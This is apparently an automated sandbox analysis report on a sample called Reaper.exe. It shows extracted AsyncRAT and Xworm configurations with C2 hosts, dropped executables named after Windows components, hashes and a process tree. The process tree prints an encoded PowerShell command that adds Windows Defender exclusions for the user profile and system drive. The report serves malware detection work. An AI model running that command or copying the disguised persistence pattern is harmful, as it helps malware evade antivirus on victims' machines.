Analysis

  • max time kernel
    47s
  • max time network
    54s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    04/04/2024, 12:03

General

  • Target
    Reaper/Reaper.exe
  • Size 8.4MB
  • Sample240404-n75pcafc65
  • SHA256 a8e3cbf1921a2485a307ac0ff2536accc77bc17db386a00e8d67c5537613b321
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • L838 RAT v1.0.0

Botnet
  • Default

C2
  • 127.0.0.1:54984

  • 127.0.0.1:4449

  • l838.ddns.net:54984

  • l838.ddns.net:4449

Mutex
  • azjrpxchkiev

Attributes
  • delay

    1

  • install

    true

  • install_file

    Windows Driver Foundation.exe

  • install_folder

    %Temp%

aes.plain

Extracted

Family
  • xworm

C2
  • l838.ddns.net:3232

Attributes
  • Install_directory

    %Public%

  • install_file

    Windows Service Wrapper.exe

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 14 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe
    "C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbgBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAdgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAagBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAYwBlACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1764
    • C:\Users\Admin\AppData\Local\Temp\Reaper.exe
      "C:\Users\Admin\AppData\Local\Temp\Reaper.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2748
    • C:\Users\Admin\Windows Driver Foundation.exe
      "C:\Users\Admin\Windows Driver Foundation.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3040
    • C:\Users\Admin\Windows Service Wrapper.exe
      "C:\Users\Admin\Windows Service Wrapper.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2688
    • C:\Users\Admin\Windows SmartScreen.exe
      "C:\Users\Admin\Windows SmartScreen.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Users\Admin\Windows SmartScreen.exe
        "C:\Users\Admin\Windows SmartScreen.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2276
  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6e79758,0x7fef6e79768,0x7fef6e79778
      2⤵
        PID:1392
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:2
        2⤵
          PID:1780
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:8
          2⤵
            PID:1396
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1576 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:8
            2⤵
              PID:2912
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2276 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:1
              2⤵
                PID:2104
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2284 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:1
                2⤵
                  PID:856
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1172 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:2
                  2⤵
                    PID:2144
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3204 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:1
                    2⤵
                      PID:2736
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3652 --field-trial-handle=1248,i,16682504988371216669,9403965041788514386,131072 /prefetch:8
                      2⤵
                        PID:1636
                    • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                      1⤵
                        PID:3056

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            data_1

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
                            • Size 264KB
                            • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                            • MD5 SHA1 SHA512 SSDEEP

                            000007.dbtmp

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp
                            • Size 16B
                            • SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
                            • MD5 SHA1 SHA512

                            api-ms-win-core-file-l2-1-0.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l2-1-0.dll
                            • Size 22KB
                            • SHA256 67fd0522cacfc3f5fb90373dd5fb388b6f63035d9a380cac4a3dd3d7801724ed
                            • MD5 SHA1 SHA512 SSDEEP

                            api-ms-win-core-localization-l1-2-0.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-localization-l1-2-0.dll
                            • Size 22KB
                            • SHA256 3cbc6f8cc2a014c9c6e87ca05dd0e9e0884da58afdc53b589b3d7172c4403ed7
                            • MD5 SHA1 SHA512 SSDEEP

                            api-ms-win-core-timezone-l1-1-0.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-timezone-l1-1-0.dll
                            • Size 22KB
                            • SHA256 c67dd8ed74c0a207c980caa6bb453e62180a71af175feeb42c2c926ecb911e0a
                            • MD5 SHA1 SHA512 SSDEEP

                            python311.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\python311.dll
                            • Size 1.6MB
                            • SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
                            • MD5 SHA1 SHA512 SSDEEP

                            ucrtbase.dll

                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\ucrtbase.dll
                            • Size 1.1MB
                            • SHA256 ed570898508c9d9186052157106b6dd9722bed47a27ecfeb424386c8970d81da
                            • MD5 SHA1 SHA512 SSDEEP

                            FastColoredTextBox.dll

                            • Path \Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll
                            • Size 323KB
                            • SHA256 ac926c92ccfc3789a5ae571cc4415eb1897d500a79604d8495241c19acdf01b9
                            • MD5 SHA1 SHA512 SSDEEP

                            Reaper.exe

                            • Path \Users\Admin\AppData\Local\Temp\Reaper.exe
                            • Size 42KB
                            • SHA256 fc69c7aee21fa012c9e9de28e35c20eb9ddf473c0ac0b482faebc203dd97999c
                            • MD5 SHA1 SHA512 SSDEEP

                            api-ms-win-core-file-l1-2-0.dll

                            • Path \Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l1-2-0.dll
                            • Size 22KB
                            • SHA256 0b7a730b6b10c9d2e2fe1b9b4419b1fc60db9074a0c6f830e1b2da4d0f65fe88
                            • MD5 SHA1 SHA512 SSDEEP

                            api-ms-win-core-processthreads-l1-1-1.dll

                            • Path \Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-processthreads-l1-1-1.dll
                            • Size 22KB
                            • SHA256 a5aa6755860602c58c0edb1353c965e6f0ba58e7276ba6fb5a0b961fb274d125
                            • MD5 SHA1 SHA512 SSDEEP

                            Windows Driver Foundation.exe

                            • Path \Users\Admin\Windows Driver Foundation.exe
                            • Size 74KB
                            • SHA256 c98143abbb039d75adadefe62be076f46158aa0940bc65aafacfd6f820e35f50
                            • MD5 SHA1 SHA512 SSDEEP

                            Windows Service Wrapper.exe

                            • Path \Users\Admin\Windows Service Wrapper.exe
                            • Size 63KB
                            • SHA256 d5bad2e5f00b8222e1ac18fdf3de1a2341e0c9aa6744c193cc559c3e8e9d918b
                            • MD5 SHA1 SHA512 SSDEEP

                            Windows SmartScreen.exe

                            • Path \Users\Admin\Windows SmartScreen.exe
                            • Size 7.9MB
                            • SHA256 c728d0df78c2c46946c59843bd7154a4d43deb859d52356bc3f204e8b59fee59
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/1764-123-0x0000000073540000-0x0000000073AEB000-memory.dmp

                            memory/1764-117-0x0000000073540000-0x0000000073AEB000-memory.dmp

                            memory/1764-115-0x0000000073540000-0x0000000073AEB000-memory.dmp

                            memory/1764-116-0x0000000002880000-0x00000000028C0000-memory.dmp

                            memory/2276-119-0x000007FEF2070000-0x000007FEF2659000-memory.dmp

                            memory/2688-121-0x000007FEF5A10000-0x000007FEF63FC000-memory.dmp

                            memory/2688-129-0x000007FEF5A10000-0x000007FEF63FC000-memory.dmp

                            memory/2688-27-0x0000000000A10000-0x0000000000A26000-memory.dmp

                            memory/2688-130-0x00000000003D0000-0x0000000000450000-memory.dmp

                            memory/2688-124-0x00000000003D0000-0x0000000000450000-memory.dmp

                            memory/2748-122-0x0000000002020000-0x0000000002060000-memory.dmp

                            memory/2748-56-0x0000000073F10000-0x00000000745FE000-memory.dmp

                            memory/2748-113-0x0000000004180000-0x00000000041D8000-memory.dmp

                            memory/2748-128-0x0000000073F10000-0x00000000745FE000-memory.dmp

                            memory/2748-118-0x0000000002020000-0x0000000002060000-memory.dmp

                            memory/2748-24-0x0000000000A50000-0x0000000000A60000-memory.dmp

                            memory/3040-126-0x000007FEF5A10000-0x000007FEF63FC000-memory.dmp

                            memory/3040-120-0x000000001AE90000-0x000000001AF10000-memory.dmp

                            memory/3040-28-0x00000000008D0000-0x00000000008E8000-memory.dmp

                            memory/3040-114-0x000007FEF5A10000-0x000007FEF63FC000-memory.dmp